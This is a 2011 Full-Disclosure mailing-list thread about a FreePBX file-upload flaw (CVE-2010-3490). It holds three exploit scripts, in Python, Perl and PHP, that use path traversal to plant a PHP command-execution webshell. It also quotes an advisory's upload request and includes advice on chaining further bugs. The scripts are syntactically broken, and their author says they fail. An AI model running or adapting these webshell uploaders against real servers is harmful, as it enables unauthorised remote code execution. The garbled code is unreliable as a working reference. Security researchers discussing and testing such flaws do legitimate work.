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Date: Mon, 19 Sep 2011 09:29:16 +1000
From: xD 0x41 <secn3t@...il.com>
To: Grandma Eubanks <tborland1@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: FreePBX Unfounded RCE PoC or rather Misguided
PoC maybe ?
hmmm i am looking at your actual advisory, i downloaded it and am reading
it, i am not to good with the old php, and i am babit confused on how to
find if the install is default, although i can see an example, i dont know
if this would need to be regex'd or not.. or if i have to use script() type
xss to recover it, from one of the other xss you showed... I will try tho,
thats rather disturbing the persistent xss you showed, kinda nasty if used
right... very nice adv btw. I needed that.
cheers,
xd
On 19 September 2011 03:28, Grandma Eubanks <tborland1@...il.com> wrote:
> Well, my disclosures involved one boring xss bug and several other more
> interesting ones like grabbing the config file. I wouldn't of disclosed if
> it was just reflected xss.
>
> Anyway, I still don't understand what you're trying to do. You're not even
> posting to the correct page that has the form you're trying to exploit.
> You're still stuck on their PoC and not the vulnerability information. Yes,
> their PoC is seemingly wrong.
>
> POST /admin/config.php
>
> But, vulnerability lies in /recordings/page.recordings.php
>
> Also, use my full path disclosure problem to see if it's even installed in
> the default directory of /var/www/.
>
> On Sat, Sep 17, 2011 at 3:51 PM, xD 0x41 <secn3t@...il.com> wrote:
>
>> Hello,
>> Thankyou for your input regarding this, the issue is not a matter of
>> where to put files, nor of LFI, it is more of 'why is this PoC made for
>> non-user accounts,and can it be used remotely by attackers'.
>>
>> I have written 3 or so PoC's for this and also for another bug in this,
>> they can b found here:
>> #!/usr/bin/env python
>> import urllib, re, os, httplib, urllib2, time, socket, getopt, sys
>>
>> host = $host
>> port = 80
>>
>> s = socket.socket('socket.AF_INET,socket.SOCK_STREAM\r\n')
>> ##s.connectHTTPS((host,port))
>> s.connectHTTP((host,port))
>> s.send(
>> 'POST /admin/config.php HTTP/1.1\r\n'
>> 'Host: ' + host + '\r\n'
>> 'User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;en-US;
>> rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7\r\n'
>> 'Accept:
>> text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
>> 'Accept-Language: en-us,en;q=0.5\r\n'
>> 'Accept-Encoding: gzip,deflate\r\n'
>> 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
>> 'Keep-Alive: 300\r\n'
>> 'Proxy-Connection: keep-alive\r\n'
>> 'Referer: http://' + host + '/admin/config.php\r\n'
>> 'Cookie: ARI=cookieValue; PHPSESSID=cookieValue\r\n'
>> 'Authorization: Basic base64auth\r\n')
>> 'Content-Type: multipart/form-data;\r\n'
>> 'boundary=---------------------------5991806838789183981588991120\r\n'
>> 'Content-Type: multipart/form-data;\r\n'
>> 'boundary=---------------------------5991806838789183981588991120\r\n'
>> 'Content-Length: 116089\r\n'
>> '\r\n'
>> '-----------------------------5991806838789183981588991120\r\n'
>> 'Content-Disposition: form-data; name="display"\r\n'
>> '\r\n'
>> 'recordings\r\n'
>> '-----------------------------5991806838789183981588991120\r\n'
>> 'Content-Disposition: form-data; name="action"\r\n'
>> '\r\n'
>> 'recordings_start\r\n'
>> '-----------------------------5991806838789183981588991120\r\n'
>> 'Content-Disposition: form-data; name="usersnum"\r\n'
>> '\r\n'
>> '../../../../../var/www/html/admin/zmeu.php\r\n'
>> '-----------------------------5991806838789183981588991120\r\n'
>> 'Content-Disposition: form-data; name="ivrfile";
>> filename="webshell.php"\r\n'
>> 'Content-Type: application/octet-stream\r\n'
>> '\r\n'
>> '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
>> '-----------------------------5991806838789183981588991120--\r\n'
>>
>>
>> Then i found it did not work , and i KNOW there is a bug affecting things
>> for this area of boxes... I cannot say alot more about that but i will only
>> say, there is bugs still affecting this, and im trying to secure one box
>> only for a client... so what credentials do i need?
>> anyhow, there is also one wich i tried in perl wich i have now made
>> connect to both ports 80/443 and try, this seems to be pretty accurate...yet
>> again it does nothing..
>>
>> #!/usr/bin/perl
>> ## freepbx 2o11 exploit ... converted to rough-perl :P
>> use IO::Socket;
>> use Crypt::SSLeay;
>> use Net::SSL;
>> use warnings;
>>
>> if (@ARGV<3) {
>> print "Usage:\n";
>> print "pbx.pl <host> <port> <cmd>\n";
>> exit;
>> }
>> my $host=$ARGV[0];
>> my $port=$ARGV[1];
>> my $cmd=$ARGV[2];
>>
>> print "[+] Connecting to host..\n";
>> $sock = Net::SSL->new(Proto => "tcp", PeerAddr => "$host",PeerPort =>
>> "$port",Timeout => 10);
>> if(!$sock) {
>> print "[-] Cant Connect..\n";
>> }
>> print "[+] Connected.. Sending Buffer\n";
>>
>> my $temp=
>> "---------------------------5991806838789183981588991120\n".
>> "Content-Disposition: form-data; name=\"display\"\n".
>> "\n".
>> "---------------------------5991806838789183981588991120\n".
>> "Content-Disposition: form-data; name=\"action\"\n".
>> "\n".
>> "---------------------------5991806838789183981588991120\n".
>> "Content-Disposition: form-data; name=\"usersnum\"\n".
>> "\n".
>> "../../../../../var/www/html/admin/zmeu\n".
>> "---------------------------5991806838789183981588991120\n".
>> "Content-Disposition: form-data; name="ivrfile"; filename="zmeu.php\n".
>> "Content-Type: application/octet-stream\n".
>> "$cmd\n";
>>
>> my $buffer_size=length($temp);
>>
>> $buffer=
>> "POST /admin/config.php HTTP/1.1\n".
>> "Host: $host:80\n".
>> "Keep-Alive: 300\n".
>> "Connection: keep-alive\n".
>> "Referer: http://$host:80/n".
>> "Cookie: sid=1\; testing=1; x\n".
>> "Content-Type: multipart/form-data\n.
>> "-----------------------------5991806838789183981588991120--\n\n";
>>
>> $cmd_chk=0;
>> $buffer=~s/siz/$buffer_size/g;
>> print $sock $buffer;
>> if ($sock) {
>> print "[+] Buffer sent...running command $cmd\n";
>> print $sock $buffer;
>> while ($answer=<$sock>) {
>> if ($answer=~/defaultStatus="(.*)";/g) {
>> print $1."\n";
>> }
>> if ($answer=~/<td><pre><b>>/g) {
>> $cmd_chk=1;
>> }
>> if ($cmd_chk==1) {
>> if ($answer=~/<\/pre><\/td><\/tr>/g){
>> exit;
>> } else {
>> print $answer;
>> print results "[+] $answer\n";
>> }
>> }
>> }
>> }
>>
>> although, my perl is pathetic :P so i dont know if thats right....
>> then i tried in php , and seems to replicate perfectly... and again, no
>> file-ivrrecordings.php appearing :s
>>
>> <?php
>> echo "\n\n";
>> echo
>> "+---------------------------------------------------------------------+\r\n";
>> echo "| FreePBX 2o11 Remote File Upload Exploit |\r\n";
>> echo "| Usage: php exploit.php site.com |\r\n";
>> echo
>> "+--------------------------------------------------------------------+\r\n";
>> echo "\n";
>> echo "[+] Code to write to the file (Ex. id;uname -a):\r\n\n";
>> $code = trim(fgets(STDIN));
>> $socket = @fsockopen($argv[1], 80, $eno, $estr, 10);
>> if(!$socket) {
>> die("[-] Couldnt connect to: ".$argv[1].". Operation aborted.");
>> }
>> $part1 = "POST /admin/config.php HTTP/1.1\r\n";
>> $part1 .= "Host: " . $argv[1] . "\r\n";
>> $part1 .= "User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X
>> 10.4.6)\r\n";
>> $part1 .= "Accept:
>> text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
>> $part1 .= "Accept-Language: en-us,en;q=0.5\r\n";
>> $part1 .= "Accept-Encoding: gzip,deflate\r\n";
>> $part1 .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
>> $part1 .= "Connection: keep-alive\r\n";
>> $part1 .= "Keep-Alive: 300\r\n";
>> $part1 .= "Proxy-Connection: keep-alive\r\n";
>> $part1 .= "Referer: http://101.11.1.11/\r\n";
>> $part1 .= "Cookie: ARI=cookieValue; PHPSESSID=cookieValue\r\n";
>> $part1 .= "Authorization: Basic base64auth\r\n";
>> $part2 .= "Content-Type : multipart/form-data;\r\n";
>> $part2 =
>> "boundary=-----------------------------5991806838789183981588991120--\r\n";
>> $part2 .= "Content-Type : multipart/form-data;\r\n";
>> $part2 =
>> "boundary=-----------------------------5991806838789183981588991120--\r\n";
>> $part2 = "Content-Length: 116089\r\n";
>> $part2 .= "\r\n";
>> $part2 .=
>> "-----------------------------5991806838789183981588991120\r\n";
>> $part2 .= "Content-Disposition: form-data;
>> name=\"display\"\r\n";
>> $part2 .= "\r\n";
>> $part2 .= "recordings\r\n";
>> $part2 .=
>> "---------------------------5991806838789183981588991120\r\n";
>> $part2 .= "Content-Disposition: form-data; name=\"action\"\r\n";
>> $part2 .= "\r\n";
>> $part2 .= "recordings_start\r\n";
>> $part2 .=
>> "---------------------------5991806838789183981588991120\r\n";
>> $part2 .= "Content-Disposition: form-data;
>> name=\"usersnum\"\r\n";
>> $part2 .= "\r\n";
>> $part2 .= "Content-Disposition: form-data;
>> name=\"../../../../../var/www/html/xd/\"\r\n";
>> $part2 .=
>> "---------------------------5991806838789183981588991120\r\n";
>> $part2 .= "Content-Disposition: form-data; name=\"ivrfile\";
>> filename=\"shell.php\"\r\n";
>> $part2 .= "Content-Type: application/octet-stream\r\n";
>> $part2 .= "\r\n";
>> $part2 .= "<?php echo \'<pre>\' + system(\'$code\') +
>> \'</pre>\'; ?>\r\n";
>> $part2 .=
>> "-----------------------------5991806838789183981588991120--\r\n";
>> $part1 .= $part2;
>> fwrite($socket, $part1);
>> echo "[!] Check the upload folder (/var/www/html/xd) ..";
>> } else {
>> echo "\n\n";
>> echo
>> "+-----------------------------------------------------------+\r\n";
>> echo "| Usage: php exploit.php site.com |\r\n";
>> echo
>> "+-----------------------------------------------------------+\r\n";
>> echo "\n\n";
>> }
>> ?>
>> In the php one i tried using a different folder... what is it , the server
>> is NOT patched.
>>
>> I may have missed something, but i was able to replicate the EXACT header
>> shown in the spiderlabs, and on this system, nothing showed. It is hand
>> patched, so im beginning to wonder if somehow the owner has fluked this one
>> :? (thatd b great really), but there is a bug still, if not this one, then
>> another one wich is allowing problems for me.
>> i will have to read as there seems to be a few more emails on this,
>> thankyou for your input, i will have to test again or look at the code and
>> makesure it is right.. i hurried this but the python exploit code, was
>> already made for this PoC, i was given that.
>> This box is just VOiP of headaches.
>> Thanks for your assistance,and thankyou for those xss bugs, i may have to
>> test for those also, altho the problem seems more serious than that.
>> xd
>> www.crazycoders.com / #haxnet@Ef
>>
>>
>>
>>
>>
>>
>> On 18 September 2011 03:58, Grandma Eubanks <tborland1@...il.com> wrote:
>>
>>> So, I found several FreePBX vulnerabilities about a week before
>>> SpiderLabs came out with this new PoC (which I can't believe I missed).
>>> http://seclists.org/fulldisclosure/2010/Jul/180
>>> Now, you can use my LFI and transport particular files to a TFTP
>>> accessible path, assuming TFTP is enabled on that server (which it seems to
>>> be in most of the cases).
>>>
>>> As for the vulnerability you're using...how exact are you being? Take a
>>> look at the code:
>>> $dest = "{$usersnum}-";
>>> $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
>>> move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
>>>
>>> Alright, so the usernumber is a user definable value and there was no
>>> check to make sure this was an actual integer. So the problem here is you're
>>> allowed to specify a path to upload a file to. Now, let's take a look at
>>> what you put for your path:
>>>
>>> Content-Disposition: form-data; name="usersnum"
>>> ../../../../../var/www/html/admin/SpiderLabs
>>>
>>> So, they access their uploaded file at:
>>> http://site.com/admin/SpiderLabs-ivrrecording.php<http://10.10.1.3/admin/SpiderLabs-ivrrecording.php>
>>>
>>> Because ../../../../ gets passed the ivrfile and ../ gets passed the
>>> tmp_name.
>>>
>>> That does not mean the file has to be uploaded in /admin, it can be
>>> uploaded to the local file sever anywhere the ARI has appropriate privileges
>>> to as was mentioned, this is just the PoC. I wouldn't be surprised if PoC's
>>> come out that shouldn't be functional for a normal person as to prevent
>>> usage without understanding.
>>>
>>> There's no check before move_uploaded_to for the user supplied $usernum.
>>> Now, as I haven't looked in-depth at the supplied PoC, I could be wrong.
>>> However, given my experience with their software already, I can pretty much
>>> believe this vuln at face value.
>>>
>>> My main question is, are you trying this without any credentials?
>>>
>>> On Fri, Sep 16, 2011 at 10:49 PM, xD 0x41 <secn3t@...il.com> wrote:
>>>
>>>> Just like to point out this is total rubbish, along with the other
>>>> freePBX vuln wich was listed and, wich i stupidly wasted time writing a poc
>>>> for 9wich only works if admin is enabled)
>>>> I DID make this in 3 languages, and had it tested, it ONLY ran under
>>>> admin conditions...whats so useful then??
>>>> I have got the PoC's I made, and i copied the header to a T, it is NOT
>>>> one bit different to the example header BUT I ADDED CODE to send it
>>>> properly..and to open any 'webshell'
>>>> ok lets break it down:
>>>>
>>>>
>>>> Trustwave's SpiderLabs Security Advisory TWSL2010-005:
>>>> FreePBX recordings interface allows remote code execution
>>>> ^^^here we have code execution (does not say it requires ADMIN todo this
>>>> and someone basically at a console, pressing a button for you :P)
>>>>
>>>> https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt
>>>>
>>>> Published: 2010-09-23
>>>> Version: 1.0
>>>>
>>>> Vendor: FreePBX (http://www.freepbx.org/)
>>>> Product: FreePBX and VOIP solutions (AsteriskNOW, TrixBox, etc) using it
>>>> Version(s) affected: 2.8.0 and below
>>>>
>>>> Product Description:
>>>> FreePBX is an easy to use GUI (graphical user interface) that controls
>>>> and
>>>> manages Asterisk, the world's most popular open source telephony engine
>>>> software. FreePBX has been developed and hardened by thousands of
>>>> volunteers,
>>>> has been downloaded over 5,000,000 times, and is utilized in an
>>>> estimated
>>>> 500,000 active phone systems.
>>>>
>>>> Source: http://www.freepbx.org
>>>> Credit: Wendel G. Henrique of Trustwave's SpiderLabs
>>>>
>>>> CVE: CVE-2010-3490
>>>>
>>>> Finding:
>>>> The configuration interface for FreePBX is prone to a remote arbitrary
>>>> code
>>>> execution on the system recordings menu. FreePBX doesn't handle file
>>>> uploads
>>>> in a secure manner, allowing an attacker to manipulate the file
>>>> extension
>>>> and the beginning of the uploaded file name.
>>>>
>>>> The piece of code below, found in page.recordings.php, illustrates part
>>>> of
>>>> the recordings upload feature.
>>>> ^^^^ page.recordings.php not accessible or non existent.
>>>>
>>>> /* Code removed to fit better on advisory */
>>>> <?php
>>>> if (isset($_FILES['ivrfile']['tmp_name']) &&
>>>> is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {
>>>> if (empty($usersnum)) {
>>>> $dest = "unnumbered-";
>>>> } else {
>>>> $dest = "{$usersnum}-";
>>>> }
>>>> $suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);
>>>> $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
>>>> move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
>>>> echo "<h6>"._("Successfully uploaded")."
>>>> ".$_FILES['ivrfile']['name']."</h6>";
>>>> $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');
>>>> } ?>
>>>>
>>>> /* Code removed to fit better on advisory */
>>>>
>>>> When a file is uploaded, a copy is saved temporarily under the /tmp/
>>>> directory, where the name of the file is composed of
>>>> user-controlled-staticname.extension, where:
>>>>
>>>> "user-controlled" is $usersnum variable.
>>>> "staticname" value is -ivrrecording.
>>>> "extension" is controlled by the user.
>>>>
>>>> If $usersnum variable is not defined, then a static string (unnumbered)
>>>> is used.
>>>>
>>>> Finally, when the user clicks on the save button on the System
>>>> Recordings /// ohhhh ok so someone MUSt 'save' it, in PHYSICAL form, this
>>>> bit, was what i overlooked in this first adv.... wth!!!
>>>> interface, the file is saved with the original file name provided by the
>>>> user under the /var/lib/asterisk/sounds/custom/
>>>> directory. /// and bang, sorry but unable to see
>>>> this file once yet... abit useful eh ?> guess ppl dont press 'save' to an
>>>> unknown,nothing-on-it,recording.
>>>>
>>>>
>>>> When uploading a file, an attacker can manipulate the $usersnum variable
>>>> to
>>>> perform a path traversal attack and save it anyplace that the web
>>>> server /// ok this, i dont really care for, but it is abit useless when
>>>> the remote code is really the feature of this
>>>> user has access, for example the Apache's DocumentRoot. This allows an
>>>> attacker to upload malicious code to the web server and execute it under
>>>> the
>>>> webserver's access permissions.
>>>>
>>>> The HTTP request below illustrates the upload of a phpshell.
>>>>
>>>> POST /admin/config.php HTTP/1.1
>>>> Host: 10.10.1.3
>>>> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
>>>> en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7
>>>> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
>>>> Accept-Language: en-us,en;q=0.5
>>>> Accept-Encoding: gzip,deflate
>>>> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
>>>> Keep-Alive: 300
>>>> Proxy-Connection: keep-alive
>>>> Referer: http://10.10.1.3/admin/config.php
>>>> Cookie: ARI=cookieValue; PHPSESSID=cookieValue
>>>> Authorization: Basic base64auth
>>>> Content-Type: multipart/form-data;
>>>> boundary=---------------------------5991806838789183981588991120
>>>> Content-Length: 116089
>>>>
>>>> -----------------------------5991806838789183981588991120
>>>> Content-Disposition: form-data; name="display"
>>>>
>>>> recordings
>>>> -----------------------------5991806838789183981588991120
>>>> Content-Disposition: form-data; name="action"
>>>>
>>>> recordings_start
>>>> -----------------------------5991806838789183981588991120
>>>> Content-Disposition: form-data; name="usersnum"
>>>>
>>>> ../../../../../var/www/html/admin/SpiderLabs
>>>> -----------------------------5991806838789183981588991120
>>>> Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
>>>> Content-Type: application/octet-stream
>>>>
>>>> <?php
>>>> /* WebShell code goes here */
>>>> ?>
>>>>
>>>> -----------------------------5991806838789183981588991120--
>>>> /// good luck trying to find this and note, now we have to access a file at
>>>> where??? lets see....
>>>>
>>>> To access the webshell in this example, an attacker would use
>>>> the following path: http://10.10.1.3/admin/SpiderLabs-ivrrecording.php
>>>> // ahhh admin/ dir ?!! so thts all it was! damn, crp on me eh! ohwell...
>>>> there goes remote-code-exec eh ? this would be more like,local,nothing,no
>>>> patch was issued...
>>>>
>>>> Maintainer Response:
>>>> The maintainer has released a patch to address this issue for all
>>>> versions //please provide a PoC wich works, as MY ONES dont, so,
>>>> please.. am waiting, id prefer the PoC to stay private,but i request it
>>>> please -ty
>>>> of the software 2.3 and newer.
>>>>
>>>> Details of the patch can be found here:
>>>> http://www.freepbx.org/trac/ticket/4553
>>>>
>>>> Remediation Steps:
>>>> Install the maintainer-provided patch.
>>>>
>>>> Vendor Communication Timeline:
>>>> 08/13/10 - Initial contact
>>>> 08/18/10 - Vulnerability disclosed
>>>> 09/16/10 - Initial fix proposed by
>>>> maintainer // so we are
>>>> fixing a bug,wich can only b used as an admin... hmmm
>>>> 09/22/10 - Fix reviewed, improved, and released by maintainer
>>>> 09/23/10 - Advisory public release
>>>>
>>>> Revision History:
>>>> 1.0 Initial publication
>>>>
>>>> About Trustwave:
>>>> Trustwave is the leading provider of on-demand and subscription-based
>>>> information security and payment card industry compliance management
>>>> solutions
>>>> to businesses and government entities throughout the world. For
>>>> organizations
>>>> faced with today's challenging data security and compliance environment,
>>>> Trustwave provides a unique approach with comprehensive solutions that
>>>> include
>>>> its flagship TrustKeeper compliance management software and other
>>>> proprietary
>>>> security solutions. Trustwave has helped thousands of
>>>> organizations--ranging
>>>> from Fortune 500 businesses and large financial institutions to small
>>>> and
>>>> medium-sized retailers--manage compliance and secure their network
>>>> infrastructure, data communications and critical information assets.
>>>> Trustwave
>>>> is headquartered in Chicago with offices throughout North America,
>>>> South America, Europe, Africa, China and Australia. For more
>>>> information,
>>>> visit https://www.trustwave.com
>>>>
>>>> About Trustwave's SpiderLabs:
>>>> SpiderLabs is the advance security team at Trustwave responsible for
>>>> incident
>>>> response and forensics, ethical hacking and application security tests
>>>> for
>>>> Trustwave's clients. SpiderLabs has responded to hundreds of security
>>>> incidents, performed thousands of ethical hacking exercises and tested
>>>> the
>>>> security of hundreds of business applications for Fortune 500
>>>> organizations.
>>>> For more information visit https://www.trustwave.com/spiderlabs
>>>>
>>>> Disclaimer:
>>>> The information provided in this advisory is provided "as is" without
>>>> warranty
>>>> of any kind. Trustwave disclaims all warranties, either express or
>>>> implied,
>>>> including the warranties of merchantability and fitness for a particular
>>>> purpose. In no event shall Trustwave or its suppliers be liable for any
>>>> damages whatsoever including direct, indirect, incidental,
>>>> consequential,
>>>> loss of business profits or special damages, even if Trustwave or its
>>>> suppliers have been advised of the possibility of such damages. Some
>>>> states
>>>> do not allow the exclusion or limitation of liability for consequential
>>>> or
>>>> incidental damages so the foregoing limitation may not apply.
>>>>
>>>> Anyhow, this was the last freePBX PoC i saw,and just am doing auditing
>>>> atm, i realised i had already tested this exploit but i just dont see what
>>>> or if i missed something here.. i did disclose my own Pocs on the seclists,
>>>> and if theyre needed, i guess they would not be to hard to find nowdays..
>>>> but this topic i need some closure on... i have to fix/advise and, i guess i
>>>> cannot do it to my own skill level would like to, or, im wrong, and it is
>>>> just my own code (hence why i mean skill level), at perl/php or whatever
>>>> codes were made, but, i did use working code for it..and it did not work....
>>>> i am sure of that, and would be happy to find the working pocs anytime...
>>>> but id prefer to see that header PoC,as i repeated this exactly, line by
>>>> line and debugged it to b sure,and it was perfect..and no go :s, it is
>>>> frustrating because VOiP is now becoming fastly, a BIG area of the
>>>> internet,and alot more people want to know why they install and register
>>>> 'elastix' for ex and have 3000 plugins autop... some ppl want a pruned
>>>> version, or, fixed versions without updates, it is just getting to be a way
>>>> bigger area,and will grow...
>>>> Please try to understand that this is only research.
>>>> cheers,
>>>> xd / #haxnet@Ef
>>>>
>>>> _______________________________________________
>>>> Full-Disclosure - We believe in it.
>>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>>
>>>
>>>
>>
>
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